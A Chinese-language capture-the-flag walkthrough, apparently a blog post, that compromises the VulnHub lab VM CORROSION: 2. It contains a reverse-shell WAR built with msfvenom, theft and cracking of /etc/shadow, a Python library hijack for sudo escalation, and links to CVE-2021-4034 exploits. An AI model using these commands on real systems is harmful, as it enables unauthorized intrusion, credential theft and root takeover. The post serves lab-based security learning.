准备:

攻击机:虚拟机kali、本机win10。

靶机:CORROSION: 2,网段地址我这里设置的桥接,所以与本机电脑在同一网段,下载地址:https://download.vulnhub.com/corrosion/Corrosion2.ova.torrent,下载后直接vbox打开即可。

知识点:CVE-2021-4034漏洞利用、fcrackzip爆破zip文件密码、tomcat获取shell(知账户和密码)、unshadow生成密码本、john爆破密码。

信息收集:

通过nmap扫描下网段内的存活主机地址,确定下靶机的地址:nmap -sn 192.168.100.0/24,获得靶机地址:192.168.100.244。

扫描下开放的端口和对应的服务:nmap -T4 -sV -p- -A 192.168.100.244,显示开放了22、80、8080端口,开启了ssh服务、apache服务。

使用dirmap进行目录扫描,80端口未发现有用信息,但是在8080端口发现readme.txt、backup.zip等文件,扫描命令:python dirmap.py -i http://192.168.100.244:8080/ -lcf。

访问下80端口,在80端口的源代码页面中发现让我们查看https://launchpad.net/bugs/1288690网页。

访问下8080端口和端口的readme.txt文件,下载backup.zip文件进行解压查看,但是需要密码。

信息利用:

使用zip密码爆破工具(fcrackzip)进行密码爆破,命令:fcrackzip -D -p /usr/share/wordlists/rockyou.txt -u backup.zip,获得密码:@administrator_hi5。

在解压的tomcat-users.xml文件中发现两组账户和密码:manager/melehifokivai、admin/melehifokivai。

使用账户名和密码在8080端口登录。

想着部署项目实现shell反弹,但是失败了,war包生成命令:msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.100.166 LPORT=6688 -f war -o upfine.war,在本地上传部署后,访问下该服务。

shell获取:

在msf中存在一个配合账号和密码获取tomcat shell权限的exp。

选择该exp:use 6,设置下账号、密码、ip信息、端口信息,然后run即可。

使用当前用户在系统里查看下目录信息和文件信息,在/home下发现两个用户文件夹,但是/jaye的文件夹无权限查看,在randy文件下下发现了note.txt和user.txt进行查看,获得第一个flag。

越权访问:

在虚拟机的初始界面存在三个账户:jaye、randy、tomcat,发现jaye账户使用密码:melehifokivai可以成功登录或者使用xshell登录。

使用jaye账户查看下目录信息和文件信息,在jaye账户下的Files文件下下发现具有root权限和当前账户可执行权限的look命令,在/root文件下发现root.txt文件,因此直接使用look命令读取下root.txt信息,成功获取到flag值。

权限提升:(两种方法)

第一种:

在jaye账户下,使用look命令读取下/etc/shadow文件和/etc/passwd文件,命令:./look '' 文件名,将文件内容复制到本地使用unshadow生成密码本,然后进行暴力破解,生成密码本命令:unshadow passwd shadow > pass.txt。

使用john进行密码爆破,命令:john --wordlist=/usr/share/wordlists/rockyou.txt pass.txt,获得两组账户名和密码:melehifokivai/jaye、07051986randy/randy,第一组和前面的猜测一样。emmm时间是真的长,差不多五个小时跑出来的,可以在晚上跑。

使用ssh服务登录randy账户,查看下当前用户有哪些可以不需要root密码就可拥有root权限的文件,发现了randombase64.py。

查看下该文件权限,发现当前用户不具备该文件的写入权限,查看该文件内容,发现其引入了base64模块。

查看下base64文件的位置,命令:locate base64。

查看下base64.py的权限,发现当前用户具有读写权限,因此我们可以在此文件中写入shell脚本。

写入脚本时缺少vim命令,只能采用nano来编辑py文件,写入:import os 和 os.system("/bin/bash")。

shell写入完成后,运行 randombase64.py,命令:sudo /usr/bin/python3.8 /home/randy/randombase64.py,成功获取到root权限并读取flag值。

第二种:

首先查看下不需要root密码可以执行的root权限命令,sudo -l,显示不存在,这个行不通。

查看下具有root权限的文件,命令:find / -perm -4000 -type f 2>/dev/null,发现/usr/lib/policykit-1/polkit-agent-helper-1,

下载exp在本地进行编译(make):https://github.com/berdav/CVE-2021-4034,然后将编译好的文件上传到靶机。

在执行时出现了错误,显示:/lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.34' not found,就对比了一下靶机和本地的该文件,发现靶机不存在这个GLIBC_2.34,命令:strings /usr/lib/x86_64-linux-gnu/libc.so.6 | grep GLIBC。

但是生成的脚本在kali中测试是可以直接获取root权限的,(这里想着把靶机的文件复制过来就行了,但是直接导致kali命令都不能用了,还好有个镜像,直接恢复镜像了)没办法就只能重新找可利用的exp,这个网站:https://github.com/arthepsy/CVE-2021-4034,下载下来poc进行gcc编译,然后上传到靶机进行执行即可获得root权限。

vulnhub靶场之CORROSION: 2的更多相关文章

  1. vulnhub靶场之DRIPPING BLUES: 1

    准备: 攻击机:虚拟机kali.本机win10. 靶机:DRIPPING BLUES: 1,网段地址我这里设置的桥接,所以与本机电脑在同一网段,下载地址:https://download.vulnhu ...

  2. Vulnhub靶场题解

    Vulnhub简介 Vulnhub是一个提供各种漏洞环境的靶场平台,供安全爱好者学习渗透使用,大部分环境是做好的虚拟机镜像文件,镜像预先设计了多种漏洞,需要使用VMware或者VirtualBox运行 ...

  3. VulnHub靶场学习_HA: ARMOUR

    HA: ARMOUR Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-armour,370/ 背景: Klaw从“复仇者联盟”超级秘密基地偷走了一些盔甲 ...

  4. VulnHub靶场学习_HA: InfinityStones

    HA-InfinityStones Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-infinity-stones,366/ 背景: 灭霸认为,如果他杀 ...

  5. VulnHub靶场学习_HA: Avengers Arsenal

    HA: Avengers Arsenal Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-avengers-arsenal,369/ 背景: 复仇者联盟 ...

  6. VulnHub靶场学习_HA: Chanakya

    HA-Chanakya Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-chanakya,395/ 背景: 摧毁王国的策划者又回来了,这次他创造了一个难 ...

  7. VulnHub靶场学习_HA: Pandavas

    HA: Pandavas Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-pandavas,487/ 背景: Pandavas are the warr ...

  8. VulnHub靶场学习_HA: Natraj

    HA: Natraj Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-natraj,489/ 背景: Nataraj is a dancing avat ...

  9. VulnHub靶场学习_HA: Chakravyuh

    HA: Chakravyuh Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-chakravyuh,388/ 背景: Close your eyes a ...

随机推荐

  1. 记录Java类型推断关键字var的一种特殊用法

    关于Java的var类型推断,有一种特殊用法,如下: 没有var类型之前声明一个匿名类对象,并调用它的方法. Object obj = new Object() { public void test( ...

  2. a 标签 rel 属性值 opener 的作用

    <a> 元素,原英文单词为 anchor 的缩写,所以又称之为锚点元素.锚点元素的 href 属性用来创建通向其他网页.文件.同一页面内的位置.电子邮件地址或任何其他 URL 的超链接. ...

  3. python与pycharm的安装与“试用”

    python与pycharm的安装与"试用" 一.python解释器安装与启动 python解释器的安装 1.打开文件安装包运行页面 #python3.8 2.选择Customiz ...

  4. Vue 监听器和计算属性到底有什么不同?

    各自的适用场景 计算属性临时快照 官方文档对于计算属性提到了一个重要的点子--"临时快照"(可能就是前面说的计算属性缓存),每当源状态发生变化时,就会创建一个新的快照. 有时候创建 ...

  5. ABC209F. Deforestation——DP(、数学容斥)

    题面 有 n n n 棵树排成一排,每棵树高度为 h i ( i ∈ [ 1 , n ] ) h_i~(i\in[1,n]) hi​ (i∈[1,n]) ,你现在要按照一个排列 P P P 的顺序去砍 ...

  6. (最简单详细)IronPython下载、安装及简单使用

    说实话,对于我这种小白,在网上找个IronPython找的很费劲,学会操作之后,直接整个随笔,供新手参考.前提是现在你应该有VS了 (1)找到IronPython的网站 很多人肯定就按照习惯搜索,Ir ...

  7. 使用puppeteer生成pdf与截图

    之前写过一篇 vue cli2 使用 wkhtmltopdf 踩坑指南,由于wkhtmltopdf对vue的支持并不友好,而且不支持css3,经过调研最终选择puppeteer,坑少,比较靠谱. 一. ...

  8. ubuntu下vscode安装go插件失败解决办法

    go env -w GO111MODULE=on go env -w GOPROXY=https://goproxy.io,direct go env -w GOSUMDB=gosum.io+ce6e ...

  9. VSCODE 配置远程调试环境

    以下内容为本人的著作,如需要转载,请声明原文链接微信公众号「englyf」https://www.cnblogs.com/englyf/p/16691460.html 我的需求是,在Windows桌面 ...

  10. 在工作组的环境中配置Windows 2012 R2的远程桌面服务

    在工作组的环境中配置Windows 2012 R2的远程桌面服务 How to configure Remote Desktop Service in Windows 2012 R2 workgrou ...